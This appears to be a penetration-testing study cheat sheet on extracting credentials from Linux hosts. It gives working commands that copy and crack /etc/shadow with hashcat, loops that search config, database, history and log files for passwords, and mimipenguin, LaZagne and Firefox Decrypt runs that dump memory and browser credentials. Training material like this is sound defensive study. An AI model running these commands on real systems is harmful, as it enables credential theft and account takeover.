Extracting Passwords from Linux Systems

Linux Authentication Process

Passwd file

The /etc/passwd file contains information about every user on the system and is readable by all users and services.

htb-student:x:1000:1000:,,,:/home/htb-student:/bin/bash
FieldValue
Usernamehtb-student
Passwordx
User ID1000
Group ID1000
GECOS,,,
Home directory/home/htb-student
Default shell/bin/bash

Usually, we will find the value x in the password field, indicating that the passwords are stored in a hashed form within the /etc/shadow file. However, it can also be that the /etc/passwd file is writeable by mistake. This would allow us to remove the password field for the root user entirely.

head -n 1 /etc/passwd

root::0:0:root:/root:/bin/bash

Shadow file

Since reading password hash values can put the entire system at risk, the /etc/shadow file was introduced. It has a similar format to /etc/passwd but is solely responsible for password storage and management.

htb-student:$y$j9T$3QSBB6CbHEu...SNIP...f8Ms:18955:0:99999:7:::
FieldValue
Usernamehtb-student
Password$y$j9T$3QSBB6CbHEu…SNIP…f8Ms
Last change18955
Min age0
Max age99999
Warning period7
Inactivity period-
Expiration date-
Reserved field-

Opasswd

The PAM library (pam_unix.so) can prevent users from reusing old passwords. These previous passwords are stored in the /etc/security/opasswd file. Administrator (root) privileges are required to read this file, assuming its permissions have not been modified manually.

sudo cat /etc/security/opasswd

cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ3v8ylCOrKB0kt0,$1$kcUjWZJX$E9uMSmiQeRh4pAAgzuvkq1

Cracking Linux Credentials

sudo cp /etc/passwd /tmp/passwd.bak
sudo cp /etc/shadow /tmp/shadow.bak
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked

Credential Hunting

Files

Searching for configuration files

for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

Searching for databases

for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done

Searching for notes

find /home/* -type f -name "*.txt" -o ! -name "*.*"

Searching for scripts

for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done

Enumerating cronjobs

cat /etc/crontab 

Enumerating history files

tail -n5 /home/*/.bash*

Enumerating log files

FileDescription
/var/log/messagesGeneric system activity logs.
/var/log/syslogGeneric system activity logs.
/var/log/auth.log(Debian) All authentication related logs.
/var/log/secure(RedHat/CentOS) All authentication related logs.
/var/log/boot.logBooting information.
/var/log/dmesgHardware and drivers related information and logs.
/var/log/kern.logKernel related warnings, errors and logs.
/var/log/faillogFailed login attempts.
/var/log/cronInformation related to cron jobs.
/var/log/mail.logAll mail server related logs.
/var/log/httpdAll Apache related logs.
/var/log/mysqld.logAll MySQL server related logs.
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

Memory and cache

Mimipenguin

Many applications and processes work with credentials needed for authentication and store them either in memory or in files so that they can be reused. For example, it may be the system-required credentials for the logged-in users. Another example is the credentials stored in the browsers, which can also be read. In order to retrieve this type of information from Linux distributions, there is a tool called mimipenguin that makes the whole process easier.

sudo python3 mimipenguin.py

LaZagne

sudo python2.7 laZagne.py all

Browser credentials

ls -l .mozilla/firefox/ | grep default
cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .

The tool Firefox Decrypt is excellent for decrypting these credentials, and is updated regularly. It requires Python 3.9 to run the latest version. Otherwise, Firefox Decrypt 0.7.0 with Python 2 must be used.

python3.9 firefox_decrypt.py
python3 laZagne.py browsers